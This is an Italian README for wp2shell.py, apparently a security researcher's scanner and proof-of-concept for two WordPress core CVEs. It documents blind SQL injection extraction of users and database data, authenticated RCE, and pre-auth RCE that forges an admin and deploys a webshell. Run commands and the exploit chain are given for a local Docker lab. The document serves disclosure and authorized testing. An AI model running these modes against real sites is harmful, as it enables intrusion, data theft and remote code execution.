
CVE-2026-63030, CVE-2026-60137, scanner wp2shell
Strumento di rilevamento e validazione per l'esposizione del core WordPress a wp2shell (CVE-2026-63030 / CVE-2026-60137). Le modalità vengono selezionate con un flag e il target è posizionale. --scan rileva l'impronta della versione del core e conferma che la route REST /batch/v1 sia raggiungibile senza inviare un payload di exploit; le modalità --check/--read/--shell/--rce/--root-prereq sono il PoC di validazione per uso autorizzato in laboratorio.
wp2shell.py è un singolo script basato esclusivamente sulla libreria standard — nessuna dipendenza esterna. Ogni invocazione stampa un banner ZephrSec su stderr prima di eseguire (rimane fuori da stdout, quindi l'output JSON di --scan -j non è influenzato).
È richiesto esattamente un flag di modalità; il target è posizionale (un URL per ogni modalità o un elenco di host per --scan).
wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
[targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
[--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
[--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
[-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
[--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
[--timeout TIMEOUT]
| Flag | Cosa fa |
|---|---|
--scan | Controllo di esposizione non distruttivo: impronta della versione + conferma che la route REST /batch/v1 sia raggiungibile. Nessun payload di exploit inviato. |
--check | Conferma la SQLi blind basata sul tempo con una sonda differenziale innocua. |
--read | Estrae dati tramite SQLi blind (un preset o un'espressione scalare SQL grezza). |
--shell | Catena RCE autenticata tramite una password admin violata/recuperata. |
--rce | RCE pre-auth senza credenziali: forgia un proprio admin tramite la SQLi, poi distribuisce una webshell auto-pulente. |
--root-prereq | Controllo benigno dei prerequisiti shell-to-root; esegue solo diagnostica, mai un'escalation locale dei privilegi. |
| Flag | Applicabile a | Cosa fa |
|---|---|---|
-f, --file | --scan | Legge gli host da un file (uno per riga; i commenti # vengono saltati). |
-j, --json | --scan | Emette i risultati come JSON su stdout. |
-t, --threads | --scan | Concorrenza di scansione (default 10). |
--prefix | --check/--read | Prefisso delle tabelle del DB (default wp_). |
--delay | --check/--read | Secondi SLEEP iniettati per l'oracolo di timing (default 0.15). |
--repeats | --check/--read | Mediana su N sonde per bit; da aumentare su collegamenti rumorosi (default 1). |
--preset | --read | Target integrato: version, database, db_user, users, siteurl (default users). |
--expr | --read | Espressione scalare SQL grezza da estrarre (sostituisce --preset). |
--max-len | --read | Lunghezza massima della stringa estratta (default 128). |
--user | --shell/--root-prereq | Nome utente admin con cui accedere (default admin). |
--password | --shell/--root-prereq | Password admin in chiaro (viola l'hash da --read; richiesta per queste modalità). |
--cmd | --shell/--rce | Comando da eseguire sul target (default id). |
-i, --interactive | --shell/--rce | Ciclo interattivo di comandi web invece di un singolo comando. |
--no-cleanup | --shell/--rce | Lascia il plugin/webshell rilasciato in posizione (solo laboratorio). |
-y, --yes | --shell/--rce/--root-prereq | Salta il prompt di autorizzazione interattivo (per l'automazione). |
--sleep | --rce | Secondi SLEEP iniettati per il rilevamento SQLi pre-auth (default 4). |
--rounds | --rce | Mediana su N sonde per il rilevamento di --rce (default 3). |
--route | --rce | Forma della route batch: auto, rest-route o wp-json (default auto). |
--proxy | --rce | Instrada le richieste tramite un proxy HTTP, es. Burp su http://127.0.0.1:8080. |
--authorized | --rce | Dichiara l'autorizzazione per un target --rce non-loopback (richiesto per host remoti). |
--timeout | tutte | Timeout per richiesta in secondi (default 15). |
Post di approfondimento sul blog: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/
nuclei -t wp2shell-exposure.yaml -u https://target
Host singolo, più host o un file.
python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt
Opzioni: -f/--file file degli host (uno per riga), -j/--json output JSON, -t/--threads concorrenza (default 10).
Le modalità --check/--read/--shell/--rce/--root-prereq inviano payload di exploit reali. Eseguile solo contro il laboratorio localhost incluso o altri sistemi di tua proprietà e su cui sei esplicitamente autorizzato a testare. --shell e --rce eseguono codice in remoto e sono pensate per i target di laboratorio/autorizzati; --rce su un host non-loopback richiede --authorized. --root-prereq usa lo stesso plugin diagnostico protetto da token per verificare i prerequisiti shell-to-root, ma non esegue un'escalation locale dei privilegi.
--shell richiede una password admin recuperata/violata. --rce è la catena pre-auth senza credenziali: forgia un proprio amministratore tramite la SQLi (oEmbed → changeset → parse_request rientrante), poi distribuisce la webshell — nessuna password richiesta.
--shell, --rce e --root-prereq richiedono un'autorizzazione interattiva y/N prima che venga inviato qualsiasi payload di esecuzione di codice (si interrompono su stdin non interattivo/EOF). Passa -y/--yes per saltare il prompt per l'automazione contro il laboratorio o un target autorizzato.
docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
I diff delle patch usati per fondare il PoC sono salvati in poc/diffs/, con note di ricerca in poc/RESEARCH.md. La SQLi è completamente ricostruibile dalla fix author__not_in. La catena --rce senza credenziali (oEmbed → changeset → rientro → creazione admin) riproduce la RCE stock-default contro il laboratorio incluso; --shell è il percorso alternativo tramite una credenziale admin recuperata/violata per il caricamento autenticato del plugin e l'esecuzione dei comandi.